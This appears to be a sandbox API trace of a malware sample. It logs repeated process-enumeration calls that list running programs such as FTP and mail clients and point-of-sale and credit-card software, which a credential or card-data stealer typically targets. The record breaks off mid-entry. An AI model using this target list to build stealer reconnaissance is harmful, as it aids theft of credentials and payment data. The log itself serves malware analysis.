1 [0243.933] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0243.935] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0243.937] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0243.940] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0243.943] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0243.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0243.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0243.950] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0243.953] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0243.955] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0243.957] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0243.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0243.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0243.964] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0243.966] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0243.968] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0244.008] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0244.010] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0244.011] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0244.013] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0244.015] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0244.017] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0244.019] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0244.021] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0244.023] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0244.025] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0244.026] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0244.028] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0244.030] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0244.031] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0244.033] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0244.035] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0244.036] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.103] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0244.104] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0244.106] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0244.108] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0244.110] CloseHandle (hObject=0x13b0) returned 1 [0244.110] Sleep (dwMilliseconds=0x64) [0244.159] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0244.172] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.174] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.176] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.178] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.180] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.182] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.184] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.186] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.188] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.189] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.334] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.335] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.337] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.338] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.340] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.341] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.343] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.345] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.347] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.348] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.350] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0244.352] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0244.354] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.356] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.358] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0244.360] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0244.362] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0244.365] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.366] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0244.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0244.370] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.372] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0244.374] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0244.376] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0244.425] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0244.428] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0244.430] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0244.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0244.434] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0244.436] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0244.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0244.439] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0244.441] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0244.442] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0244.443] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0244.446] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, 